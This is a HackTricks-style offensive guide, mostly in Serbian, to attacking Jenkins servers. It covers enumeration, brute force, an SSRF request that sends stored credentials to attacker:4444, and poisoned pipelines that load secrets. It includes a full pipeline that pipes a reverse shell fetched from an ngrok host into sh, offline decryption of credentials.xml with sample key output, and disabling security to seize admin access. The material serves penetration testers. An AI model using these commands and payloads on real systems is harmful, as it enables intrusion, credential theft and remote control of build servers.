Sigurnost Jenkins-a

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Jenkins je alat koji pruža jednostavan način za uspostavljanje continuous integration or continuous delivery (CI/CD) okruženja za gotovo bilo koju kombinaciju programskih jezika i source code repositories koristeći pipelines. Pored toga, automatizuje različite rutinske razvojne zadatke. Iako Jenkins ne uklanja potrebu za kreiranjem skripti za pojedinačne korake, on ipak pruža brži i robusniji način da se integriše čitav niz alata za build, test i deployment nego što se to lako može konstruisati ručno.

Basic Jenkins Information

Enumeracija bez autentifikacije

Da biste pretražili interesantne Jenkins stranice bez autentifikacije, kao što su (/people or /asynchPeople, ovo prikazuje trenutne korisnike), možete koristiti:

msf> use auxiliary/scanner/http/jenkins_enum

Proverite možete li izvršavati komande bez autentifikacije:

msf> use auxiliary/scanner/http/jenkins_command

Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.

Možete dobiti Jenkins verziju sa putanje /oops ili /error

Poznate ranjivosti

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Prijava

U osnovnim informacijama možete proveriti sve načine za prijavu u Jenkins:

Basic Jenkins Information

Registracija

Moći ćete pronaći Jenkins instance koje allow you to create an account and login inside of it. As simple as that.

SSO Login

Takođe, ako su prisutne SSO functionality/plugins, trebalo bi da pokušate da se prijavite u aplikaciju koristeći test nalog (tj. testni Github/Bitbucket account). Trik iz here.

Bruteforce

Jenkins nema password policy i username brute-force mitigation. Neophodno je da izvršite brute-force nad korisnicima jer se mogu koristiti weak passwords ili usernames as passwords, pa čak i reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Koristite this python script or this powershell script.

IP Whitelisting Bypass

Mnoga preduzeća kombinuju SaaS-based source control management (SCM) systems such as GitHub or GitLab with an internal, self-hosted CI solution like Jenkins or TeamCity. Ova konfiguracija omogućava CI systems da receive webhook events from SaaS source control vendors, prvenstveno za pokretanje pipeline jobs.

Da bi se to postiglo, organizacije whitelist the IP ranges of the SCM platforms, permitting them to access the internal CI system via webhooks. Međutim, važno je napomenuti da anyone može kreirati an account na GitHub ili GitLab i konfigurisati ga da trigger a webhook, potencijalno šaljući zahteve ka internal CI system.

Pogledajte: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins.

Warning

U zavisnosti od mehanizma Authorization konfigurisanog u Jenkins i dozvola kompromitovanog korisnika, možda ćete moći — ili ne — da izvršite sledeće napade.

Za više informacija pogledajte osnovne informacije:

Basic Jenkins Information

Listing users

Ako imate pristup Jenkins, možete izlistati ostale registrovane korisnike na http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Koristite this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpointi (CSRF to SSRF/krađa credentials)

Neki plugin-i izlažu Jelly validateButton ili test connection handlere na putanjama kao što su /descriptorByName/<Class>/testConnection. Kada handleri ne zahtevaju POST ili provere dozvola, možete:

  • Zameniti POST sa GET i ukloniti Crumb da biste zaobišli CSRF provere.
  • Pokrenuti handler kao low-priv/anonymous ako ne postoji provera Jenkins.ADMINISTER.
  • Izvesti CSRF nad adminom i zameniti host/URL parametar da biste eksfiltrirali credentials ili pokrenuli outbound pozive.
  • Iskoristiti greške u odgovoru (npr. ConnectException) kao SSRF/port-scan oracle.

Primer GET (bez Crumb) koji pretvara poziv za validaciju u SSRF/eksfiltraciju credentials:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

Ako plugin ponovo koristi stored creds, Jenkins će pokušati da se autentifikuje na attacker:4444 i može leak identifikatore ili greške u odgovoru. Vidi: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Krađa SSH Credentials

Ako kompromitovani korisnik ima dovoljne privilegije da kreira/izmeni novi Jenkins node i SSH credentials su već sačuvani za pristup drugim node-ovima, on bi mogao ukrasti te credentials kreiranjem/izmenom node-a i podešavanjem hosta koji će snimiti credentials bez verifikacije host ključa:

Obično ćete naći Jenkins ssh credentials u global provider (/credentials/), tako da ih možete i dump-ovati kao i bilo koji drugi secret. Više informacija u Dumping secrets section.

RCE in Jenkins

Dobijanje shell-a na Jenkins serveru daje napadaču mogućnost da leak sve secrets i env variables i da iskoristi druge mašine u istoj mreži ili čak prikupi cloud credentials.

Po default-u, Jenkins će pokretati kao SYSTEM. Dakle, kompromitovanje će napadaču dati SYSTEM privilegije.

RCE Creating/Modifying a project

Kreiranje/izmena projekta je način da se dobije RCE nad Jenkins serverom:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

Takođe možete dobiti RCE izvršavanjem Groovy skripte, što može biti diskretnije od kreiranja novog projekta:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

Takođe možete dobiti RCE kreiranjem/izmenom pipeline-a:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Da biste eksploatisali pipelines i dalje morate imati pristup Jenkins-u.

Build Pipelines

Pipelines takođe mogu biti korišćeni kao build mehanizam u projektima, u tom slučaju može biti konfigurisana datoteka unutar repozitorijuma koja će sadržati pipeline sintaksu. Po default-u se koristi /Jenkinsfile:

Takođe je moguće čuvati pipeline konfiguracione fajlove na drugim mestima (na primer u drugim repositorijumima) sa ciljem odvajanja pristupa repozitorijumu i pristupa pipeline-u.

Ako napadač ima write access nad tim fajlom biće u mogućnosti da ga izmeni i potencijalno trigger-uje pipeline bez čak i pristupa Jenkins-u.
Moguće je da će napadač morati da zaobiđe neke branch protections (u zavisnosti od platforme i privilegija korisnika oni mogu biti zaobiđeni ili ne).

Najčešći trigger-i za izvršavanje custom pipeline-a su:

  • Pull request na main branch (ili potencijalno na druge grane)
  • Push na main branch (ili potencijalno na druge grane)
  • Ažuriranje main brancha i čekanje da se nekako izvrši

Note

Ako ste eksterni korisnik ne bi trebalo da očekujete da možete da napravite PR na main branch repozitorijuma drugog korisnika/organizacije i trigger-ujete pipeline… ali ako je loše konfigurisano mogli biste potpuno kompromitovati kompanije samo iskorišćavanjem ovoga.

Pipeline RCE

U prethodnom RCE odeljku je već naznačena tehnika da se dobije RCE modifikujući pipeline.

Checking Env variables

Moguće je deklarisati plain text env variables za ceo pipeline ili za specifične stage-ove. Ove env variables ne bi trebalo da sadrže osetljive informacije, ali napadač uvek može da proveri sve pipeline konfiguracije/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Izdvajanje secrets

Za informacije o tome kako Jenkins obično tretira secrets pogledajte osnovne informacije:

Basic Jenkins Information

Kredencijali mogu biti scoped to global providers (/credentials/) ili specifični za projekte (/job/<project-name>/configure). Stoga, da biste exfiltrirali sve njih morate kompromitovati bar sve projekte koji sadrže secrets i pokrenuti custom/poisoned pipelines.

Postoji još jedan problem: da biste dobili secret inside the env pipeline-a, morate znati ime i tip secreta. Na primer, ako pokušate da load usernamePassword secret kao string secret, dobićete ovu grešku:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Evo načina da učitate neke uobičajene secret types:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Na kraju ove stranice možete pronaći sve tipove kredencijala: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

Najbolji način da dump all the secrets at once je compromising Jenkins mašine (running a reverse shell in the built-in node for example) and then leaking the master keys and the encrypted secrets and decrypting them offline.
More on how to do this in the Nodes & Agents section and in the Post Exploitation section.

Triggers

From the docs: Direktiva triggers definiše automatizovane načine na koje Pipeline treba da bude ponovo pokrenut. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, triggers možda nisu neophodni jer webhooks-based integration verovatno već postoji. Trenutno dostupni triggers su cron, pollSCM i upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

Pogledajte ostale primere u dokumentaciji.

Čvorovi & Agenti

Jedna Jenkins instanca može imati različite agente koji rade na različitim mašinama. Iz perspektive napadača, pristup različitim mašinama znači različite potencijalne cloud kredencijale za krađu ili različit mrežni pristup koji se može zloupotrebiti da bi se eksploatisale druge mašine.

Za više informacija pogledajte osnovne informacije:

Basic Jenkins Information

Možete nabrojati konfigurisane čvorove u /computer/, obično ćete pronaći **Built-In Node ** (koji je čvor na kojem Jenkins radi) i potencijalno još:

Posebno je interesantno kompromitovati Built-In node jer sadrži osetljive Jenkins informacije.

Da naznačite da želite pokrenuti pipeline u built-in Jenkins node-u, možete unutar pipeline-a navesti sledeću konfiguraciju:

pipeline {
agent {label 'built-in'}

Kompletan primer

Pipeline u određenom agentu, sa cron trigger-om, sa pipeline and stage env variables, učitava 2 variables u step-u i šalje reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Možete izlistati secrets pristupom /credentials/ ako imate dovoljno permisija. Imajte na umu da će ovo izlistati samo secrets unutar credentials.xml fajla, ali build configuration files mogu takođe imati više credentials.

Ako možete videti konfiguraciju svakog projekta, možete tamo takođe videti names of the credentials (secrets) koja se koriste za pristup repozitorijumu i other credentials of the project.

Iz Groovy

Jenkins Dumping Secrets from Groovy

Sa diska

Ovi fajlovi su potrebni za dešifrovanje Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Takve secrets se obično nalaze u:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Evo regex-a za njihovo pronalaženje:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Dešifrujte Jenkins secrets offline

Ako ste izvukli potrebne lozinke za dešifrovanje secrets, koristite this script za dešifrovanje tih secrets.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Decrypt Jenkins secrets iz Groovy

println(hudson.util.Secret.decrypt("{...}"))

Kreiranje novog admin korisnika

  1. Pristupite Jenkins config.xml fajlu u /var/lib/jenkins/config.xml ili C:\Program Files (x86)\Jenkis\
  2. Potražite <useSecurity>true</useSecurity> i promenite reč true u false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Ponovo pokrenite Jenkins server: service jenkins restart
  5. Sada ponovo otvorite Jenkins portal i Jenkins ovaj put neće tražiti podatke za prijavu. Idite na “Manage Jenkins” da ponovo podesite administratorsku lozinku.
  6. Ponovo omogućite bezbednost menjajući podešavanje na <useSecurity>true</useSecurity> i ponovo restartujte Jenkins.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks